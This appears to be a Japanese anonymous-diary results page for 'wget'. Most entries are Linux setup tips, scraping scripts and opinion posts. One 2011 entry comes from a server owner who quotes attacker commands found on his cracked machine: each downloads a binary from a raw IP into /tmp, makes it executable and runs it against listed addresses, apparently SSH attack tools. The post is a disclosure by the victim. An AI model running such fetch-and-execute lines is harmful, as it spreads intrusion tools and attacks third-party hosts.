※最初-O-をオーでやったら「PGP ファイルがみつかりません」とエラーになった。ここを数字のゼロにしたらあっさり"OK"と表示。このエントリに「ゼロです」を書いたものの、上記公式ページをみるとどうもゼロには見えない。念のためにもう１回ゼロでやってみたら「無効なオプション」だってさ（なので投稿内容を直した）。じゃあ「オー」が正しいのかよ？けど、おいら数字のゼロでうまくいったんだぜ。最近、いろいろPCに馬鹿にされてるわ。VirtualBoxにインストールしていたので手打ちで実行させたから、コピペ可能環境ならいちいちこんなことで問題にならなかったのかな？まさかコピペのオーはOKで、手打ちのオーはNG？

あと、プロキシ環境下でのインストールでは

でスーパーユーザーになってから

export http_proxy="http://＜プロキシサーバ＞:＜ポート＞"

として wget へプロキシサーバを教えます。

さらに

/etc/apt/ のなかに apt.conf というファイルを作成して

Acquire::http::proxy "http://＜プロキシサーバ＞:＜ポート＞";

（最後はセミコロン）の１行を書き込みます。apt-get へ教えます。

あとは sudo 部分のみ不要で、同じようにコマンドを流してやりましょう。

Permalink | 記事への反応(0) | 12:59

■Linux Mint 15 (XFCE版) で wget のプロキシ サーバを指定する

他の Linux 同様に、環境変数を読むようですね。

export http_proxy="http://＜プロキシサーバ名＞:＜ポート＞"

export https_proxy="http://＜プロキシサーバ名＞:＜ポート＞"

などと指定すればOKのようです。

sudo wget のように、スーパーユーザーで利用するときは、当然スーパーユーザーの環境で動作するので、私は

でスーパーユーザーへ根本的にシェルのユーザーを切り替えて、sudo 切り替えなしで wget を利用しました。

すなわち su でスーパーユーザーになってから export http_proxy=... を発行。sudo wget ... ではなくそのまま wget ...。

sudo export

は "command not found"。"export" は DOS の内部コマンドみたいなものなのでしょう。

以上のことは、インストール後最初の日本語化設定のときに使いました。

http://linuxmint-jp.net/download.html

Permalink | 記事への反応(0) | 12:50

2011-07-29

■クラッキングされたサーバで実行されていた怪しいコマンドを晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバがクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 &gt;/dev/null 2&gt;/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  &gt;/dev/null 2&gt;/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 &gt;/dev/null 2&gt;/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツのサーバからプログラムをダウンロードして実行するみたい。

ちなみに、いろんなサーバにssh 接続を試みるプログラムっぽい。

このプログラムたちは2007年の11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年 7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApacheを更新しなかった自分が悪いと思っている。

「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

Permalink | 記事への反応(1) | 23:10

2011-07-25

■poptop pptpd (PPTP サーバ) on CentOS5

1.POPTOPから最新版ダウンロード

wget http://sourceforge.net/projects/poptop/files/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz/download

2.tgzを解凍

tar xvzf ./pptpd-1.3.4.tar.gz

3. ./configure 実行

4. make 実行

5. make install 実行

コンパイルするので、ccやgccが必要。

しかし、設定ファイルうんぬんを考えたら先でもハマりそうな予感がしたので

結局yumでインストールした。

Permalink | 記事への反応(0) | 14:42

■CentOSのyumがうまくできない時 - デフォルト GW設定

http://blog.mizoshiri.com/archives/93

(Cloud 9 さんブログ)

社内サーバからはOKなのに

社外のサーバはyumばかりかwgetもpingもことごとくだめって、

FWの設定間違えたかな...などと考えをめぐらせつつググってみたら、こちらに解決手順が。

Windowsだと、デフォルトゲートウエイもNICのTCP/IP設定画面に含まれているけど

それって考えてみたら、デフォルトゲートウェイはコンピュータ(ホスト)固有だからおかしいよね。

/etc/sysconfig/network-scripts/cfg-eth0

の項目をいじっても社外につながらなかった(/etc/sysconfig/network にGW設定も必要)

ことへのグチですけど。。

(デフォルト GWの設定画面含めて、route tableに統一して編集する方式も、OS 設計的にアリだよな)。

Permalink | 記事への反応(0) | 13:07

2010-12-06

■Wikileaks を wget -m でページ丸ごとダウンロードする方法

というか表題のコマンドを実行するだけであまり説明することもないが。

wikileaks.org でアクセス出来なくなったのもあり、いつサイト自体が無くなってもおかしくない（まぁ当初からずっとそうだけど）ので興味ある命知らずは丸ごとダウンロードしておくことをおすすめする。

Wikileaks：Paypal停止と「言論の自由」問題 | WIRED VISION
http://wiredvision.jp/news/2010 12/2010120523.html

（追記 2010-12-06）今日 wget してみたところ、1,708 ファイルで 67.0MB だった。大体 1 時間位でダウンロード完了できた。

wget の準備

Windows で wget ないぜって人はこの辺から落としてこい。

wget（Windows版） - 俺の基地
 http://yakinikunotare.boo.jp/orebase/index.php?wget%A1%CAWindows%C8%C7%A1%CB

Mac OS X は macports、Linux は apt-get やら yum やら使って適当にインストールしてください。

wikileaks へのリンク

http://wikileaks.org (上述の記事の通り、DNS の登録から外されたらしい)

http://213.251.145.96/（多分本家）

http://wikileaks.ch/（ミラー？コピーサイト？）

コマンド

mkdir wikileaks
cd ./wikileaks
wget -m http://213.251.145.96/
※ "213.251.145.96" は wikileaks.org の登録元 IP。（だと思う）

あと、wikileaks はミラーサイトになってくれるところを募集しているらしいので、更に命知らず（リアル命とセキュリティアタック的な意味で）な人はこの手順に従ってミラーサイトが公開できますよ。ちょいと wikileaks なんとかっていうドメインとサーバスペースを契約してミラー作ってあげたらいいんじゃないですかね。

Bash | #### tutorial about how to set up a wikileaks mirr - Wikileaks mirroring tutorial（英語）
http://pastebin.com/6q6E3Z0C

ちゃんと匿名ダイアリーで書いてるし（wikileaks.hatena.ne.jp まだかな！）、はてなの人も言論の自由を脅かすなんてことは、おっと誰か来たようだ

Permalink | 記事への反応(3) | 11:49

2010-09-02

■岡崎市立中央図書館には結局クロールして良いの？

今後は岡崎市立中央図書館のウェブサイトをクローラでアクセスしてよいの？

wgetしちゃっていいの？

波乗野郎しちゃっていいの？

岡崎市立中央図書館はLibrahack氏に謝れよ。本当に。

平成十七年（2005）の設計だから想定していなかったって阿呆ですか。

波乗野郎の発売は1996年だ。wgetもその頃からある。この時点で庶民にクローラ需要があったんだぞ。

俺だって十年前から自動巡回も一括取得も当たり前にやってた。

低品質な製品を発注してしまった責任を取りたくないから認められないのか？

三菱から見返りでももらっていたのか？

合法だけど迷惑行為だったとでも言いたいようだが、迷惑を受けたのは逮捕された側だっての。

今まで落ちなかったのは、たまたまそうやって利用されていなかっただけだろ。

利用者の方におかれましては、情報収集のために使われる手段が、他の利用者に迷惑をかけていないかどうかについて、ご配慮をお願いいたします。

同時１コネクション限度でアクセス毎に１秒ウェイトは十分すぎるほど配慮してるじゃないか。

何百メガバイトものファイルを大量に落としたわけでもない。

頻度も大域も１万円の中古パソコンでもさばける程度のアクセスしかしてないじゃないか。

この図書館は最悪だな。こんなだから逮捕者まで出してしまったんだ。

三菱も悪いが図書館の態度も大きな原因だろう。無知でしたとか言う次元じゃない。

こんな図書館だから、こんな商品発注して、この有様なんだとしか言いようがない。

Permalink | 記事への反応(1) | 15:51

2009-03-10

■http://anond.hatelabo.jp/20090310161507

#!/bin/bash

for h in {0..23}; do
  for m in {0..59}; do
    name=$(printf "http://www.bijint.com/jp/img/photo/%02d%02d.jpg" $h $m)
    for i in {1..10}; do
      if `wget $name`; then
        break
      fi
    done
  done
done

Permalink | 記事への反応(2) | 17:22

2008-11-22

■http://anond.hatelabo.jp/20081122024106

man wget すればわかるけど、-l で階層指定して、-A で拡張子指定出来るから、

そんなにperlとか登場させる必要ないぞ？

Permalink | 記事への反応(1) | 08:41

2008-10-18

■real street angels から mechanize を使って動画を取ってきてEmacsで見てみるよ

せっかく書いたから匿名でのせてみるよ

http://real2.s-angels.com/teigaku/ から動画を取ってくるよ
- ファイルにIDだけ書いとけば取れちゃうよ
- ちょっと手を入れれば全部のファイルを取ってくるのもできると思うよ
- ここのサイトは動画のURLに動画一覧ページを見るたびに代わるUUIDみたいなのを付けてるから、普通のダウンローダが使いづらいんだけど、それに対応してるよ
Emacs を使って動画を見れるよ
- サムネイル付きだよ
- 評価もできちゃうよ

使い方は

動画を取ってきたいよ
- config.yaml にユーザとかを設定するよ
- ids.txt に取ってきたいIDを書くよ
- sangels.bat を実行するよ
Emacsで動画を見たいよ
- sangels.el を load するよ
- M-x sangels だよ

必要なものを gem で取ってくるにはこうすればいいよ

gem install -r log4r
gem install -r -v 0.6 hpricot
gem install -r mechanize

長すぎてelispが消えたから続きがあるよ

sangels.bat - 起動用バッチ ファイル

@echo off
setlocal
set WD=%~dp0
cd /d %WD%

ruby get_movies.rb
ruby get_images.rb
ruby create_m3u.rb

ruby

config.yaml - 設定ファイル

user: ユーザID
password: パスワード
ids_file: ids.txt
done_file: ids_done.txt
movies_dir: movies

log4r_config:
  pre_config:
    global: INFO
  loggers:
    - name: app
      type: Log4r::Logger
      level: INFO
      outputters:
        - STDOUT
        - FILE
  outputters:
    - name: STDOUT
      type: Log4r::StdoutOutputter
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%H:%M:%S"
    - name: FILE
      type: Log4r::FileOutputter 
      filename: "#{LOGDIR}/sangels.log"
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%Y-%m-%d %H:%M:%S"

get_movies.rb

require 'fileutils'
require 'logger'
require 'mechanize'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_movies")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

class IDFile
  def initialize(file)
    @file = file
    unless File.exist?(@file)
      Fileutils.touch(@file)
    end
  end

  def ids(contains_comment = nil)
    File.open(@file) {|io|
      io.to_a.map {|x|
        x.chomp
      }.select {|x|
        if x.empty?
          nil
        elsif contains_comment
          true
        else
          not /^\s*\#/ =~ x
        end
      }
    }
  end

  def add(id)
    ids = ids(true)
    unless ids.any? {|x| x == id}
      write(ids + [id])
    end
  end

  def delete(id)
    ids = ids(true)
    if ids.any? {|x| x == id}
      write(ids - [id])
    end
  end

  def write(ids)
    File.open(@file, "w") {|io|
      ids.each {|x| io.puts x}
    }
  end
end


$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  ids_file = IDFile.new($config.ids_file)
  done_file = IDFile.new($config.done_file)
  movies_dir = $config.movies_dir
  wget = WGet.new

  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  ids_file.ids.each {|id|
    begin
      movies = sangels.movies(id)
    rescue SAngels::Movies::InvalidMoviesError
      $log.warn("invalid movie id: #{id}")
      next
    end
    dir = File.expand_path(id, movies_dir)
    movies.each {|link|
      wget.retrieve(link.href, dir)
    }
    expected = movies.movie_links.map{|x| File.basename(x.href)}
    actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)}
    if (expected - actual).empty?
      done_file.add(id)
      ids_file.delete(id)
    end
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code

get_images.rb

require 'fileutils'
require 'logger'
require 'mechanize'
require 'ostruct'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_images")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  movies_dir = $config.movies_dir
  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  thumbnails = sangels.thumbnails

  Dir.glob("#{movies_dir}/*").each {|dir|
    next unless File.directory? dir
    id = File.basename(dir)

    url = thumbnails.url(id)
    unless url
      $log.warn("#{id} is not found")
      next
    end
    path = File.expand_path("00_thumbnail#{File.extname(url)}", dir)
    next if File.exist? path

    $log.info("retrieving #{url}")
    thumbnail = thumbnails.get_file(id)
    File.open(path, "wb") {|io| io.write(thumbnail)}
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code

create_m3u.rb

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

$config = load_config(BASEDIR)
movies_dir = $config.movies_dir
Dir.glob("#{movies_dir}/*") {|dir|
  next unless File.directory? dir
  name = File.basename(dir)
  files = Dir.glob("#{dir}/*.wmv").sort

  File.open("#{movies_dir}/#{name}.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{name}/#{File.basename(file)}"
    }
  }

  File.open("#{dir}/00_movies.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{File.basename(file)}"
    }
  }
}

sangels.rb

require 'mechanize'
require 'hpricot'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

class SAngels
  HOST = "real2.s-angels.com"
  LOGIN_URL = "http://#{HOST}/member/"
  INFO_URL = "http://#{HOST}/teigaku/item.php"
  THUMBNAILS_URL = "http://#{HOST}/teigaku/"
  THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/"

  def initialize()
    @agent = WWW::Mechanize.new
  end

  def login(user, password)
    login_form = @agent.get(LOGIN_URL).forms.find {|form|
      form.fields.any? {|field| field.name == "frmLoginid"}
    }
    login_form.frmLoginid = user
    login_form.frmPw = password
    @agent.submit(login_form)
  end

  def movies(id, no_validate = nil)
    Movies.new(@agent, id, !no_validate)
  end

  def thumbnails
    Thumbnails.new(@agent)
  end

  class Thumbnails
    def initialize(agent)
      @agent = agent
      doc = Hpricot(@agent.get_file(THUMBNAILS_URL))
      elems = doc.search("div[@class=realthum]/a")
      @links = Hash(
        elems.map {|elem|
          href = elem["href"]
          id = $1 if /ID=(.+)/ =~ href
          url = elem.search("img")[0]["src"]
          [id, url]
        })
    end

    def get_file(id)
      @agent.get_file(url(id))
    end

    def url(id)
      @links[id]
    end

    def exist?(id)
      url(id)
    end
  end

  class Movies
    class InvalidMoviesError < StandardError
    end

    def initialize(agent, id, no_validate)
      @agent = agent
      @id = id
      if !no_validate &amp;&amp; !valid?
        raise InvalidMoviesError
      end
    end

    def info_page_url
      "#{INFO_URL}?ID=#{@id}"
    end

    def info_page
      @agent.get(info_page_url)
    end

    def movies_page
      @agent.click(info_page.links.find {|link| /P=10/ =~ link.href})
    end

    def movie_links
      movies_page.links.select {|link|
        /wmv$/ =~ link.href
      }.sort {|a, b|
        File.basename(a.href) <=> File.basename(b.href)
      }
    end

    def valid?
      info_page.uri.to_s == info_page_url
    end

    def each(&amp;block)
      orig_links = movie_links
      orig_links.each {|orig_link|
        link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)}
        block.call(link)
      }
    end
  end
end

util.rb

require 'log4r'
require 'log4r/yamlconfigurator'
require 'singleton'
require 'fileutils'
require 'ostruct'

def Hash(a)
  Hash[*a.flatten]
end

def load_config(basedir)
  OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)})
end

def new_logger(name)
  Log4r::Logger.new("app::#{name}")
end

def prepare_logger(basedir, logdir = nil)
  logdir ||= basedir
  Log4r::YamlConfigurator["LOGDIR"] = logdir
  Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml")
end

class NullObject
  include Singleton
  def method_missing(message, *arg)
    NullObject.singleton
  end
end

class WGet
  class << self
    attr_accessor :log
    def initialize
      super
      @log = NullObject.singleton
    end
  end
  
  def log
    self.class.log
  end

  def retrieve(url, dir)
    FileUtils.mkdir_p(dir)
    file = File.expand_path(File.basename(url), dir)
    if File.exist?(file)
      log.info("already retrieved #{url}")
      return true
    end

    tmp = "#{file}.part"
    log.info("retrieving #{url}")
    ret = system("wget", "-c", "-O", tmp, url)
    if ret
      log.info("retrieving succeeded #{url}")
      File.rename(tmp, file)
    else
      if $? == 0x020000 # Ctrl-C
        exit($?)
      else
        log.error("retrieving failure #{url} (#{$?})")
      end
    end
    return ret
  end
end

Permalink | 記事への反応(2) | 07:28

2008-09-25

■[Ubuntu]

http://www.ubuntulinux.jp/products/JA-Localized　http://www.ubuntulinux.jp/

http://jody.sci.hokudai.ac.jp/~ike/colum/ubuntu_feisty_amd64.html

wget -q http://www.ubuntulinux.jp/ubuntu-ja-archive-keyring.gpg -O- | sudo apt-key add -

sudo wget http://www.ubuntulinux.jp/sources.list.d/hardy.list -O /etc/apt/sources.list.d/ubuntu-ja.list

sudo apt-get update

sudo apt-get install ubuntu-desktop-ja

sudo apt-get install ubuntu-ja-keyring

sudo apt-get upgrade

sudo apt-get install language-pack-gnome-ja language-pack-ja

sudo apt-get install ipafont ipamonafont lha-sjis

sudo apt-get install scim-anthy

sudo apt-get install scim-bridge im-switch

sudo apt-get install openoffice.org-l10n-ja openoffice.org-help-ja mozilla-firefox-locale-ja-jp

im-switch -l

Permalink | 記事への反応(0) | 21:04

2008-08-01

■http://anond.hatelabo.jp/20080801154904

なんか呼ばれた気がしなくもない。

ここ1年程の、ほぼすべてのエントリナンバは提供できると思う。

ただ、削除されたエントリもそれなりに入ってるけど、入ってないものも多い。そんなデータ。

たぶん10万件×14桁で1.5Mほどかな。圧縮すれば2割くらいになってくれるだろうか。

いる人いる？

しかし、日単位なら365リクエストでいけるから、とってきた方が早いかも。

shならwgetとsed、perlならWeb::Scraper、gmならgm_xhrか。

rubyとpythonは知らない。

xpathgraphという手もあるな。総計値になるけど。差分や統計が取れたらもっと面白いのに。

はてなグラフにインポートできないかな。

Permalink | 記事への反応(0) | 17:27

2008-04-22

■手順

とりあえず更新

まず、stable の最新版にアップデート。

# apt-get update
# apt-get dist-upgrade

apt-line 変更

そしたら /etc/apt/source.list を編集。

…
deb http://www.example.org/pub/ stable main contrib non-free
deb-src http://www.example.org/pub/ stable main contrib non-free
…

の stable を unstable に変更すれば OK。

sid 化

そしたらもう一回更新すれば OK。

# apt-get update
# apt-get dist-upgrade

いろいろインストール

おれのこのみだけど。

# apt-get install aptitude gnupg locales openssh-server screen subversion subversion-tools wget zsh

UTF-8 化

下のコマンドをたたいてしつもんにこたえて、UTF-8 にする。

# dpkg-reconfigure locales

最後に

念のため、aptitude で更新しとく。

# aptitude update
# aptitude dist-upgrade

Permalink | 記事への反応(0) | 23:52

「wget」を含む日記

■Linux Mint の各種プロキシ設定 (Ubuntuも同じ？)

システム共通（というかユーザーごと？）

apt-get系

wget系

■【ハッキング極意3】ブラックハッカーになれ。そして世界を変えろ

ブラックハッカーになろう！！

ハッカーの種類。

ブラックハッカーの魔法

ブラックハッカーたちの活躍

ブラックハッカーになるには

読者からの質問コーナー

なぜXを使うことになったのか

新作

■advent calendarに、他人の記事をコピぺする行為について。（追記あり）

■Linux Mint 15 日本語化

■Linux Mint 15 (XFCE版) で wget のプロキシサーバを指定する